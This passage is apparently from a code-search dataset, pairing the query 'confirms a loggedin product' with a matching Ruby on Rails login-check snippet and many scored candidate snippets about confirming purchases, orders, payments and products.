"text": "def byte_size()\n @value.length * 2\n end",
"title": ""
},
{
"docid": "c1cd707d4e8d13c1668639547f5aab6c",
"score": "0.6528932",
"text": "def byte_size()\n @value.length * 2\n end",
"title": ""
},
{
"docid": "20d51b39340f1d8da39bd4b5067f68d2",
"score": "0.65217763",
"text": "def length\n @adapter.hash_length @name\n end",
"title": ""
}
] |
ff036e527dd5f72174256e6cb8031a68 | confirms a loggedin product | [
{
"docid": "f798621f096b4164d5f5a3e013408845",
"score": "0.0",
"text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"title": ""
}
] | [
{
"docid": "ff9bbf3211799c97b5bcccc9cfaf442e",
"score": "0.6942914",
"text": "def confirm_purchase\n\t\tif current_user.nil? and params[:user_id] == '-1'\n\t\t\tputs 'User ID doesnt exists, routing to make user register'\n\t\t\tredirect_to :controller=>'users',:action=>'product_user_prompt', :layout=>false, :product_id=>params[:product_id]\n\t\t# check if the user has a shipping address\n\t\telsif current_user.shipping_addresses.count == 0\n\t\t\t# no shipping address!\n\t\t\tredirect_to :controller=>'shipping_addresses', :action=>'new', :layout=>false,:user_id => current_user.id, :product_id=>params[:product_id]\n\t\t# check if the user has a credit card\n\t\telsif current_user.credit_card_token.nil?\n\t\t\tputs 'User credit card doesnt exists, routing to make user log credit card'\n\t\t\t@product_id = params[:product_id]\t\n\t\t\tredirect_to :controller=>'users',:action=>'credit_card_new', :product_id=>@product_id,:layout=>false\n\t\telse\n\t\t\t# debug\n\t\t\tputs \"Credit Card #{current_user.credit_card_token}\"\n\t\t\tputs params[:user_id]\n\t\t\tputs 'Passed all test, lets confirm'\n\t\t\t\t\n\t\t\t@product = Product.find_by_id(params[:product_id])\n\t\t\t@product['picture_path'] = picture_path_builder(@product) + @product.picture_file_name\n\t\t\t@default_address = current_user.shipping_addresses.find_by_default(true)\n\t\t\t@user = current_user\n\t\t\tputs @user\n\t\t\tif current_user\n\t\t\t\tputs 'is logged in'\n\t\t\tend\n\n\t\t\trender :layout => false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4afa15d023984146e3a6fd782046fdb8",
"score": "0.6909645",
"text": "def confirm!\n confirm_integration product_payload\n variants_payload.each { |key, v| confirm_integration v }\n end",
"title": ""
},
{
"docid": "7199a8ec255810cdcce80c7f69cbec36",
"score": "0.68436176",
"text": "def confirm()\n params = conf_params\n\n @product_numbers = []\n @quantity_numbers = []\n @credit_card = 0\n\n Purchase.transaction do\n params.each do |k, v|\n if k == \"credit_card\"\n @credit_card = v\n next\n end\n\n @product_numbers.append(v[\"product\"])\n @quantity_numbers.append(v[\"quantity\"])\n\n v[:user] = current_user.id\n v = v.permit(:user, :quantity, :product)\n\n @insert_purchase = Purchase.new(v)\n if @insert_purchase.save\n next\n else\n flash[:alert] = @insert_purchase.errors.full_messages.to_sentence\n index()\n render action: :index\n end\n end\n\n # Potentially dangerous without checking user id\n Cart.where(:user_id => current_user.id).destroy_all\n end\n\n rescue => e\n redirect_to \"/orders\", flash: {notice: \"Failed to buy cart.\"}\n end",
"title": ""
},
{
"docid": "70684fc653c3a04d9cef3e921b0ac17d",
"score": "0.66596496",
"text": "def confirm!\n return false if purchased?\n update!(state: EffectiveOrders::CONFIRMED)\n end",
"title": ""
},
{
"docid": "adc751e0895dbc272649446c12db2fe4",
"score": "0.66465735",
"text": "def bid_success_confirmation(user, product)\n @product = product\n @user = user\n mail(:to => user.email, :subject => \"Bid successful!\")\n end",
"title": ""
},
{
"docid": "048c6934abd8d21a2dcafe97c42231c2",
"score": "0.6575145",
"text": "def confirm_purchase_order\n @purchase_order = PurchaseOrder.find_by_id params[:purchase_order_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @purchase_order.confirm( current_user ) \n end",
"title": ""
},
{
"docid": "de393b3ba929852a4c223e74ada92db7",
"score": "0.6566379",
"text": "def destroy\n if @login_user\n\n product = Product.find_by(id: params[:id])\n\n product.destroy\n\n flash[:status] = :success\n flash[:result_text] = \"Successfully deleted product #{product.name}\"\n redirect_to merchant_path(@login_user)\n end\n end",
"title": ""
},
{
"docid": "e702cc8259b6ec50a1850802d1e8e833",
"score": "0.65657467",
"text": "def confirm\n end",
"title": ""
},
{
"docid": "b3d762f28fd06fe2f27e70f67acede23",
"score": "0.6499413",
"text": "def confirm\r\n self.buyer.attach_item(self.item)\r\n\r\n TradingAuthority.settle_item_purchase(self.seller, self.item, self.quantity)\r\n\r\n self.buyer.delete_pending(self)\r\n end",
"title": ""
},
{
"docid": "c9ae480c118fe3afbe10d2e3d2e6bfb3",
"score": "0.64577526",
"text": "def buy\n @quote = current_user.quotes.unconfirmed.last\n if @quote.present?\n @quote.confirm!\n flash[:notice] = \"Purchase completed successfully\"\n else\n flash[:alert] = \"Cart is empty\"\n end\n\n redirect_to dashboard_index_path\n end",
"title": ""
},
{
"docid": "478a51bddabd448da6f072ca72582166",
"score": "0.64521664",
"text": "def redsys_confirm\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n unless @order.complete?\n order_upgrade()\n payment_upgrade(params, false)\n end\n\n @current_order = session[:order_id] = nil\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to order_path(@order)\n end",
"title": ""
},
{
"docid": "3e62726469a6396ebb4719e9dae39881",
"score": "0.6428859",
"text": "def redsys_confirm\n @order ||= ::Spree::Order.find_by_number!(params[:order_id])\n unless @order.state == \"complete\"\n order_upgrade()\n payment_upgrade(params, false)\n end\n # Unset the order id as it's completed.\n session[:order_id] = nil #deprecated from 2.3\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to order_path(@order)\n end",
"title": ""
},
{
"docid": "fe4da06fabadda2748bcd90f9d865df0",
"score": "0.6425712",
"text": "def authorized_product\n\t\tauthorized_products = self.user.products.collect { |product| product.id}\n\t\terrors.add(:product_id, 'Producto no autorizado para esta cuenta.') unless authorized_products.include?(self.product_id)\n\tend",
"title": ""
},
{
"docid": "11221c2db9e95c92397f45c71eeccbfe",
"score": "0.63930905",
"text": "def confirm!\r\n welcome_message\r\n super\r\n end",
"title": ""
},
{
"docid": "2545057cc7523d63a0417db906fcc245",
"score": "0.6384113",
"text": "def final_confirm\n @product = @order.product.decorate\n @order.assign_attributes(confirmation_params)\n\n # this is where the magic happens: execute all steps to confirm the order.\n @order.confirm\n redirect_to(action: 'show', id: @order.id)\n rescue ActiveRecord::RecordInvalid\n #flash[:alert] = t(:please_check_for_errors)\n @order = @order.decorate\n @address = @order.address\n render 'confirm'\n end",
"title": ""
},
{
"docid": "0fdb588cbb7a2164e8a54e0f1cf3b3fa",
"score": "0.6343582",
"text": "def confirm_guarantee_return\n @guarantee_return = GuaranteeReturn.find_by_id params[:guarantee_return_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @guarantee_return.confirm( current_user ) \n @guarantee_return.reload\n end",
"title": ""
},
{
"docid": "97c7ed08e90627208ca49331fec56f04",
"score": "0.6341458",
"text": "def confirm\n end",
"title": ""
},
{
"docid": "c19d0aaa555710e3a2ad964768ddec68",
"score": "0.6321211",
"text": "def update\n\n @product = Product.find(params[:id])\n @sol = params[:forsale]\n @sellerToNotify = User.find(@product.sellerid)\n respond_to do |format|\n if @product.update_attribute(:forsale,0)\n # REDIRECT TO PAYMENT PAGE\n # format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n @sellerNotificationMessage = \"<a href='http://localhost:3000/products/\"+@product.id.to_s+\"'>\"+@product.Name+\"</a>: Your product is sold\"\n @sellerToNotify.update_attributes!(:notification => @sellerNotificationMessage , :password=> '123456')\n format.html { redirect_to payment_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91c7d7575fd5f1917cfd95f809fca10f",
"score": "0.6320782",
"text": "def confirm_ticket\r\n @ticket_order = TicketOrder.find(params[:id])\r\n @ticket_order.confirm(params[:payment_type])\r\n flash[:notice] = t('ticketing.ticket_confirmed', id: @ticket_order.id)\r\n redirect_back(fallback_location: root_path)\r\n end",
"title": ""
},
{
"docid": "066af0ae310b9249dfa5add9dd7147e8",
"score": "0.62878305",
"text": "def send_product\n\t \n\tend",
"title": ""
},
{
"docid": "1d06db2d2cba5e33f65714a5436a022b",
"score": "0.6273575",
"text": "def confirm\n end",
"title": ""
},
{
"docid": "dc098de94ec8142d6b7b47adf0295cdd",
"score": "0.6271895",
"text": "def confirm\n @gift_card = GiftCard.find_by_token(params[:id])\n if @gift_card.is_received?\n flash[:error] = t(\"spree_gift_card.messages.cant_activate\")\n return redirect_to root_url\n end\n \n unless @gift_card.purchased?\n flash[:error] = t(\"spree_gift_card.messages.invalid\")\n return redirect_to root_url\n end\n \n if !current_user || current_user.anonymous?\n # session[:gift_card] = @gift_card.token\n session[\"user_return_to\"] = confirm_gift_card_path(@gift_card)\n flash[:notice] = t(\"spree_gift_card.messages.authorization_required\")\n redirect_to new_user_session_path\n # else \n # session[:gift_card] = nil\n end\n \n end",
"title": ""
},
{
"docid": "9039af0723dceac5fe61b1b3b7b52497",
"score": "0.6269534",
"text": "def ceca_confirm\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n unless @order.state == \"complete\"\n order_upgrade()\n payment_upgrade(params, false)\n end\n # Unset the order id as it's completed.\n session[:order_id] = nil #deprecated from 2.3\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to order_path(@order)\n end",
"title": ""
},
{
"docid": "4bc30919e8ba211eb95fe12af25576f3",
"score": "0.6250891",
"text": "def confirm_sales_order\n @sales_order = SalesOrder.find_by_id params[:sales_order_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @sales_order.confirm( current_user ) \n end",
"title": ""
},
{
"docid": "1982d88a1d5810b504aa9b61bc933a5b",
"score": "0.6239876",
"text": "def confirm_item_receival\n @item_receival = ItemReceival.find_by_id params[:item_receival_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @item_receival.confirm( current_user ) \n @item_receival.reload\n end",
"title": ""
},
{
"docid": "1982d88a1d5810b504aa9b61bc933a5b",
"score": "0.6239876",
"text": "def confirm_item_receival\n @item_receival = ItemReceival.find_by_id params[:item_receival_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @item_receival.confirm( current_user ) \n @item_receival.reload\n end",
"title": ""
},
{
"docid": "bae7b43430066b3ee8decf9e1fc46371",
"score": "0.6221982",
"text": "def sermepa_confirm\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n unless @order.state == \"complete\"\n order_upgrade()\n payment_upgrade(params, false)\n end\n # Unset the order id as it's completed.\n session[:order_id] = nil #deprecated from 2.3\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to order_path(@order)\n end",
"title": ""
},
{
"docid": "e328eb9a40b68a4b8cb591777975c696",
"score": "0.62050307",
"text": "def sermepa_confirm\n load_order\n order_upgrade()\n payment_upgrade()\n redirect_to completion_route\n end",
"title": ""
},
{
"docid": "c9d21c8cea96e9a930d2c101a6a35b47",
"score": "0.6196136",
"text": "def confirm!\n super\n welcome_instructions\n end",
"title": ""
},
{
"docid": "c9d21c8cea96e9a930d2c101a6a35b47",
"score": "0.6196136",
"text": "def confirm!\n super\n welcome_instructions\n end",
"title": ""
},
{
"docid": "a1aa489fa09e79656f515bd610aedc07",
"score": "0.61892873",
"text": "def claim\n prod_id = params[:id]\n product = Product.find_by(id: prod_id)\n flash[:notice] = \"Product claimed successfully!\"\n @current_user.wallet -= product.bid_value\n @current_user.save\n prod_owner = User.find_by(id: product.user_id)\n prod_owner.wallet += product.bid_value\n prod_owner.save\n product.claimed = true\n product.save\n redirect_to(\"/users/dashboard\")\n end",
"title": ""
},
{
"docid": "56a8e1ed90539247609233a61544b9d6",
"score": "0.6171277",
"text": "def confirm_product_received(protocol)\n @@webservice = \"AbacosWSProdutos\"\n confirm_service \"produto\", protocol\n end",
"title": ""
},
{
"docid": "56a8e1ed90539247609233a61544b9d6",
"score": "0.6171277",
"text": "def confirm_product_received(protocol)\n @@webservice = \"AbacosWSProdutos\"\n confirm_service \"produto\", protocol\n end",
"title": ""
},
{
"docid": "3f41bccbc30f4e4d72669c6d172504a3",
"score": "0.61695665",
"text": "def correct_user\n @product = Product.find(params[:id])\n flash[:warning] = \"You are not allowed to enter other people's page\"\n redirect_to(root_url) unless current_user?(@product)\n end",
"title": ""
},
{
"docid": "37dd3628f3d985a04f702754ecd11427",
"score": "0.6169374",
"text": "def confirm_order\n\t\ttotal_price = 0\n\t\tcart_items = self.user.cart_items\n\t\tcart_items.each do |cart_item|\n price = cart_item.quantity * cart_item.product.price\n total_price += price\n self.order_items.build(quantity: cart_item.quantity, price: price, product_id: cart_item.product_id)\n end\n self.total_price = total_price\n self.save\n user.cart_items.destroy_all\n end",
"title": ""
},
{
"docid": "a9ce8acf364eb37854142a1470bce528",
"score": "0.61572623",
"text": "def confirmation\n @cart = Cart.find(session[:cart_id])\n @ordered_items = OrderedItem.where(cart_id: session[:cart_id], status: \"pending\")\n @cart_total = total_cart(@ordered_items)\n end",
"title": ""
},
{
"docid": "c7cc15bee5834248456a75f883dbd8cb",
"score": "0.61165714",
"text": "def update\n flash[:success] = \"Product added to cart\"\n redirect_to product_path(params[:product_id])\n end",
"title": ""
},
{
"docid": "d0bcb6a10852eae1f8271b7c4af120c8",
"score": "0.6111931",
"text": "def confirm; end",
"title": ""
},
{
"docid": "511cbe3a1154c80e9eb1697ab6004afe",
"score": "0.6106119",
"text": "def confirm\n\n if current_user.update_attributes(params[:user])\n \n aankoop = Aankoop.confirm(current_user, @kunstvoorwerp)\n if aankoop\n\n mail = Intmail.find_by_inttitle('koop_koper')\n if !mail.blank?\n nmail = mail.message\n nmail = nmail.gsub(/<k_username>/, current_user.nickname)\n nmail = nmail.gsub(/<k_voornaam>/, current_user.voornaam)\n nmail = nmail.gsub(/<k_achternaam>/, current_user.achternaam)\n nmail = nmail.gsub(/<kv_title>/, @kunstvoorwerp.title)\n nmail = nmail.gsub(/<kv_url>/, url_for(werk_url(:name => @kunstvoorwerp.user.intname, :kunstid => @kunstvoorwerp.id)))\n nmail = nmail.gsub(/<kv_id>/, aankoop.id.to_s)\n Kunstmail.massmail(mail.title, current_user.email, nmail).deliver\n else\n aankoop.delete\n @kunstvoorwerp.update_attribute('status', 0)\n return hit_error 500\n end\n\n # stuurt mail naar eigenaar site\n Kunstmail.koop_beheer(@kunstvoorwerp,\n current_user,\n aankoop.id,\n url_for(werk_url(:name => @kunstvoorwerp.user.intname, :kunstid => @kunstvoorwerp.id)),\n url_for(aankoop_url(:id => aankoop.id)),\n @kunstvoorwerp.verzendmethode).deliver\n\n redirect_to done_aankoop_url(aankoop)\n end\n else\n render :order\n end\n end",
"title": ""
},
{
"docid": "0c0a9b47305836a9474f15bd645345cc",
"score": "0.61060923",
"text": "def confirm_payment\n @payment = Payment.find_by_id params[:payment_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @payment.confirm( current_user ) \n end",
"title": ""
},
{
"docid": "0c0a9b47305836a9474f15bd645345cc",
"score": "0.61060923",
"text": "def confirm_payment\n @payment = Payment.find_by_id params[:payment_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @payment.confirm( current_user ) \n end",
"title": ""
},
{
"docid": "786b357e3be8d031e52f661a81314ce6",
"score": "0.6097618",
"text": "def set_user_product\n @product = current_user.products.find_by_id(params[:id])\n if @product == nil\n flash[:alert] = \"That is not your product\"\n redirect_to products_path\n end\n end",
"title": ""
},
{
"docid": "14a68de26d98dfa8e8034bafc7eb20c3",
"score": "0.60935587",
"text": "def delete_confirmation(user)\n @user = user # Instance variable => available in view\n\n mail(to: @user.email, subject: 'Product deleted!')\n end",
"title": ""
},
{
"docid": "0b03eae5451eb045dd326462efbbefe0",
"score": "0.60801756",
"text": "def confirmPurchase\n EZPaypal::Request.ConfirmPurchase(self[\"TOKEN\"], self[\"PAYERID\"])\n end",
"title": ""
},
{
"docid": "f658c7a998fa1558dac36099723df26f",
"score": "0.607868",
"text": "def confirm!(_entreprise_price)\n # pending expert confirmation now\n update(state: 3)\n update(entreprise_price: _entreprise_price) if _entreprise_price.present?\n\n mission.update(state: 3, expert_id: expert.id)\n send_recrute_mail\n end",
"title": ""
},
{
"docid": "c67a3e1e753c187a6299a24d4a39735a",
"score": "0.60752946",
"text": "def destroy\n @seller_product.destroy\n\n if login_user.identity == 2\n redirect_to admin_product_url\n else\n redirect_to seller_products_url\n end\n\n end",
"title": ""
},
{
"docid": "d99b814df8bf5b04999db12aa8f8ffc4",
"score": "0.60751766",
"text": "def confirm_delivery\n @delivery = Delivery.find_by_id params[:delivery_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @delivery.confirm( current_user ) \n @delivery.reload\n end",
"title": ""
},
{
"docid": "dee8d16b20bc5c76dd1b56b44cd42e2b",
"score": "0.60749644",
"text": "def show\n cancelation_flash @product_option\n end",
"title": ""
},
{
"docid": "575a59e1a365e7992f6594e3ddd1da30",
"score": "0.6072282",
"text": "def send_confirmation\n end",
"title": ""
},
{
"docid": "f61d3f1222bf062dcac85843c6ddbad0",
"score": "0.6069896",
"text": "def confirm\n @address = @order.address\n @product = @order.product.decorate\n end",
"title": ""
},
{
"docid": "5dbf898637e6f730cd5d311f631fc285",
"score": "0.60643107",
"text": "def add_product\n result = user.add_product_to_order\n sleep 5\n if result\n main_menu\n else \n prompt.select(\"Would you like to try again?\") do |menu|\n menu.choice \"Try again\", -> {add_product}\n menu.choice \"Main menu\", -> {main_menu}\n end\n end\n end",
"title": ""
},
{
"docid": "e75dfff65449e3c092c06cbaffa2ad9a",
"score": "0.6063928",
"text": "def destroy\n @product.destroy\n render_success_format('Entrada eliminada',@product,true)\n rescue Exception => e\n render_default_error e, 401\n end",
"title": ""
},
{
"docid": "02752e65fb94b5b2975c1ad8a9472ab2",
"score": "0.6060375",
"text": "def confirm_standard_payment\n self.status = :confirmed\n if product.is_a? OnlineEvent\n mailtemplate_key = 'booking_confirmation_email_online_event'\n else\n mailtemplate_key = 'booking_confirmation_email'\n end\n send_confirmation_mail Mailtemplate.find_by(key: mailtemplate_key)\n end",
"title": ""
},
{
"docid": "cfb9db1e7ba31c97079dc798cc326a2d",
"score": "0.6059962",
"text": "def confirm_purchase\n\tputs\n\tputs display_dots_divider\n\tputs \n\tputs \"The item you are purchasing is:\"\n\tputs \"#{@product_name}\"\n\tputs\n\tputs \"TOTAL: $#{@product_price}\"\n\tputs\n\tputs display_dots_divider\n\tputs\n\tputs \"CONFIRM PURCHASE: 1 = CANCEL, 2 = ACCEPT PURCHASE\"\n\tputs\n\tuser_confirmation = gets.to_i\n\tif user_confirmation == 1\n\t\tputs display_dots_divider\n\t\tputs \"***** ORDER CANCELED *****\"\n\t\tputs init_small_menu\n\telsif user_confirmation == 2\n\t\tuser_make_purchase\n\t\tputs\n\t\tputs display_dots_divider\n\t\tputs \n\t\tputs \"***** PURCHASE AUTHORIZED *****\"\n\t\tputs \"Your Balance:\" \n\t\tputs \"#{user_balance}\"\n\t\tputs display_dots_divider\n\t\tputs reduce_from_inventory\n\t\tputs \n\telse\n\t\tputs \"***** INVALID INPUT *****\"\n\t\tputs init_small_menu\n\tend\nend",
"title": ""
},
{
"docid": "9e9bc6e2de4b0ba7997bc7f7c9b2d46e",
"score": "0.60563105",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n if @product.destroyed?\n flash[:notice] = 'Produkt został usunięty poprawnie.'\n else\n flash[:notice] = 'Wystąpił błąd podczas usuwania produktu.'\n end\n\n respond_to do |format|\n format.html { redirect_to(admin_products_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "055ad8c575e4189a1bbd2adfd83af1b4",
"score": "0.6051908",
"text": "def confirm\n CONFIRM_MESSAGE\n end",
"title": ""
},
{
"docid": "c1e5728c10c88ba2704bb032323df851",
"score": "0.60363704",
"text": "def product_retracted(product,user)\n @product=product\n @user=user\n\n mail to: @user.email, subject: \"Product Retracted: #{product.title}\"\n end",
"title": ""
},
{
"docid": "6fbcc23390f078bd73ce45fb7eef018b",
"score": "0.60317224",
"text": "def confirm!\n reward_inviter\n super\n end",
"title": ""
},
{
"docid": "d880134b4fb840f12d04c0d0969fd37c",
"score": "0.6025828",
"text": "def confirm_subscription\n list = List.unscoped.includes(:subscriber, :step).find_by_confirmation_code params[:confirmation_code]\n step = list.step\n\n if !@source.nil?\n list.subscriber = @source\n list.set_subscribed\n\n flash[:success] = \"Thanks! We'll send you updates/special offers related to #{@product} as soon as we have them. :)\"\n\n if list.is_fb\n @mimi.add_to_list(list.subscriber.email, \"Facebook\")\n flash[:success] = \"Thanks! We've just sent an exclusive offer for Facebook subscribers. :)\"\n end\n\n if !step.nil?\n list.send_promotion\n end\n end\n redirect_to root_path\n end",
"title": ""
},
{
"docid": "2631b724e9c6f936c600d0e9c034e4b2",
"score": "0.60130185",
"text": "def confirmation\n end",
"title": ""
},
{
"docid": "002c6a0466d6c0cea0e26c818c1de800",
"score": "0.6011791",
"text": "def destroy\n @ms_prod_confirm = MsProdConfirm.find(params[:id])\n @ms_prod_confirm.destroy\n\n respond_to do |format|\n format.html { redirect_to(ms_prod_confirms_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a392a5492260dbc36e7680f32a1d0959",
"score": "0.60099596",
"text": "def confirm!\n welcome_message\n super\n end",
"title": ""
},
{
"docid": "a392a5492260dbc36e7680f32a1d0959",
"score": "0.60099596",
"text": "def confirm!\n welcome_message\n super\n end",
"title": ""
},
{
"docid": "a392a5492260dbc36e7680f32a1d0959",
"score": "0.60099596",
"text": "def confirm!\n welcome_message\n super\n end",
"title": ""
},
{
"docid": "c11d052e5309fcdf1b418683029552dd",
"score": "0.60017186",
"text": "def correct_user\n @p = Product.find(params[:id])\n redirect_to(root_url) unless current_user?(@product)\n end",
"title": ""
},
{
"docid": "4de5730fe4656c9be59825039a09a95a",
"score": "0.6001186",
"text": "def purchase\n product = Product.find(params[:id])\n \n if (product.inventory_count > 0 && product.update(:inventory_count => product.inventory_count - 1))\n render json: {status: 'SUCCESS', message: 'Purchased coffee product', data: product}, status: :ok \n else\n render json: {status: 'ERROR', message: 'Coffee product purchase failed', data: product.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "72bdcef6117b1aed2c13793be4d9edbc",
"score": "0.5992932",
"text": "def confirm_identity(params = {})\n commit(Ebay::Requests::ConfirmIdentity, params)\n end",
"title": ""
},
{
"docid": "563d0f3687d11c39f63b402031b9b225",
"score": "0.59912753",
"text": "def confirm\n \tif @invoice = Invoice.find(params[:id])\n \t\t@invoice.confirm\n \t\tInvoiceMailor.deliver_confirmation(@invoice)\n \t\t@user = User.find_by_id(@invoice.user_id) \t\t\n \t\t@owner = @user.resource\n \t\t@plan = SignupPlan.find(@invoice.signup_plan.id)\n \t\t@owner.update_attributes(:signup_plan_id => @invoice.signup_plan_id)\n \t\treset_session\n \t\turl = @owner.speedlms_url \n \t\tflash[:notice] = \"Thanking you for purchasing #{@plan.name}.Please login to your url #{url} by following the instruction given on this page.\"\n \t\tredirect_to how_to_login_path and return\n \telse\n \t\tflash[:message] = \"Not a valid URL.\"\n \t\trender :controller => 'owners', :action => 'new'\n \tend \t\n end",
"title": ""
},
{
"docid": "16e20a2ff91c90851908a5febec7c566",
"score": "0.5990158",
"text": "def replace_product\n edit_selected = selection_to_edit\n p edit_selected\n prompt = PROMPT_DELETE\n result = prompt.yes?('Are you sure you want edit product?')\n if result\n @products.delete_at(edit_selected)\n create_product\n write_product\n box_edit_confirmation\n else\n manage_menu\n end\n \n end",
"title": ""
},
{
"docid": "830202b0c6599b044aa7a25c7df6990b",
"score": "0.598824",
"text": "def purchase_confirmation\n @greeting = \"Hi\"\n\n mail to: \"admin@advalori.com\"\n end",
"title": ""
},
{
"docid": "74fc5e381b7ce20902e80b7b467af477",
"score": "0.5987818",
"text": "def confirmation\n\n end",
"title": ""
},
{
"docid": "62f559edfdbb0f0ad10da9eda5242b58",
"score": "0.5986643",
"text": "def send_product(product_id)\n @greeting = \"Hi\"\n @product = Product.find(product_id)\n\n mail to: \"ostadfree@gmail.com\"\n end",
"title": ""
},
{
"docid": "9e6651b1f2a4c104692632f7c4d93ff3",
"score": "0.5985425",
"text": "def confirm\n redirect_to :action => 'index' unless params[:token]\n\n details_response = gateway.details_for(params[:token])\n\n if !details_response.success?\n @message = details_response.message\n render :action => 'error'\n return\n end\n\n # Paypal objects\n @address = details_response.address \n @order_total = details_response.params['order_total']\n \n # Fetch items\n items = session[:purchase_ids]\n puts '-----------------------'\n puts items\n puts '-----------------------' \n end",
"title": ""
},
{
"docid": "aa05bb2dd77ea3d7636e03fcfa27c78f",
"score": "0.5983292",
"text": "def confirm\n # Cannot do with guest account\n return unless current_user \n do_checkout\n end",
"title": ""
},
{
"docid": "48ca463f01c7d3a9ccc59a9a01d1750d",
"score": "0.59796464",
"text": "def confirm\n welcome_message\n super\n end",
"title": ""
},
{
"docid": "2358ba2d753f4ef4c78adabfc479a88e",
"score": "0.5967005",
"text": "def confirm\n current_cart.carts_events.destroy_all\n \n # update the default invoce_info of the user\n current_user.update_attribute( :invoice_info, params[:invoice_info] )\n \n if( params[:event_ids].nil? )\n flash[:error] = 'You should select at less one Event'\n redirect_to :action => 'new'\n return\n end\n \n current_cart.events = Event.find( params[:event_ids] )\n current_cart.invoice_info = params[:invoice_info]\n \n current_cart.save!\n \n events_out_of_capacity = current_cart.events_out_of_capacity\n if !events_out_of_capacity.empty?\n flash[:error] = ''\n events_out_of_capacity.each do |event|\n flash[:error] << (flash[:error].blank? ? 'Sorry, ' : ', ')\n flash[:error] << \"the event '#{event.name}' is out of capacity\"\n end\n flash[:error] << '.'\n redirect_to :action => 'new'\n return\n end\n \n @cart = current_cart\n end",
"title": ""
},
{
"docid": "5d375847f4a47843d7af6ef13f7d963c",
"score": "0.5962889",
"text": "def confirmation\n end",
"title": ""
},
{
"docid": "5d375847f4a47843d7af6ef13f7d963c",
"score": "0.5962889",
"text": "def confirmation\n end",
"title": ""
},
{
"docid": "d40ef0993eab1034bb9fe4c89f8e062a",
"score": "0.5961705",
"text": "def destroy\n unless current_user.staff? || (@product.user_id == current_user.id && @product.shop_owner == true)\n redirect_to @product\n return\n end\n if @product.destroy\n @product.supplies&.destroy_all\n end\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a938ba5f0bc0b485a17b088e61fc2ce",
"score": "0.5954053",
"text": "def confirm\n current_cart.carts_events.destroy_all\n \n # update the default invoce_info of the user\n current_user.update_attribute( :invoice_info, params[:invoice_info] )\n \n if( params[:event_ids].nil? )\n flash[:error] = 'You should select at least one event'\n redirect_to :action => 'new'\n return\n end\n\n current_cart.attributes = params[:cart] \n current_cart.events = Event.find( params[:event_ids] )\n # current_cart.invoice_info = params[:invoice_info]\n \n current_cart.save!\n \n events_out_of_capacity = current_cart.events_out_of_capacity\n if !events_out_of_capacity.empty?\n flash[:error] = ''\n events_out_of_capacity.each do |event|\n flash[:error] << (flash[:error].blank? ? 'Sorry, ' : ', ')\n flash[:error] << \"the event '#{event.name}' is out of capacity\"\n end\n flash[:error] << '.'\n redirect_to :action => 'new'\n return\n end\n \n @cart = current_cart\n end",
"title": ""
},
{
"docid": "ffbb77c8297b1b9d619aa895d33f7f84",
"score": "0.59526896",
"text": "def confirm\n @user = ::User.find_by(email: params[:email])\n\n @user.confirm(params[:confirmation_token])\n\n if @user.save\n @session = current_user ? current_session : ::Session.create(user: @user)\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cc20475c4ab3c212b0deb6ffd4d25aae",
"score": "0.5948583",
"text": "def confirm\n @user = User.find(params[:id])\n # you cannot confirm yourself\n if @user.id == current_user.id\n flash[:error] = \"You cannot confirm your own account!\"\n else\n @user.confirm!\n flash[:notice] = \"User has been approved!\"\n end\n redirect_to('/users')\n end",
"title": ""
},
{
"docid": "49af5b990438f97d76b70b61bf667eda",
"score": "0.59412247",
"text": "def order_confirmation (order, current_cart)\n @products = Product.all\n @line_items = LineItem.find(:all, :conditions => { :order_id => order.id })\n @order = order\n mail to: @order.email, subject: \"QLine Order Confirmation\"\n end",
"title": ""
},
{
"docid": "61025639f8b9e89c91e0c33e4fb65956",
"score": "0.59396917",
"text": "def purchase\n\t\t\t\t@product = Product.find(params[:product_id])\n\t\t\t\tcurrent_inventory = @product[:inventory_count]\n\n\t\t\t\tif current_inventory > 0\n\t\t\t\t\t@product.update(:inventory_count => (current_inventory - 1))\n\t\t\t\t\tmessage = \"#{@product[:title]} has been purchased for $#{@product[:price]}. There are #{@product[:inventory_count]} left in stock.\"\n\t\t\t\telse\n\t\t\t\t\tmessage = \"Item not purchased. #{@product[:title]} is out of stock.\"\n\t\t\t\tend\n\t\t\t\trender json: { message: message }, status: :ok\n\t\t\tend",
"title": ""
},
{
"docid": "9f87ff0b412a53fe51bc2600e6ab77a5",
"score": "0.59376013",
"text": "def destroy\n @product = @account.products.find(params[:id])\n @product.destroy\n respond_to do |format|\n format.html { redirect_to account_products_url, notice: 'Product was successfully removed from Inventory.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8e432894ea961ee8e852a4786d78a768",
"score": "0.5934897",
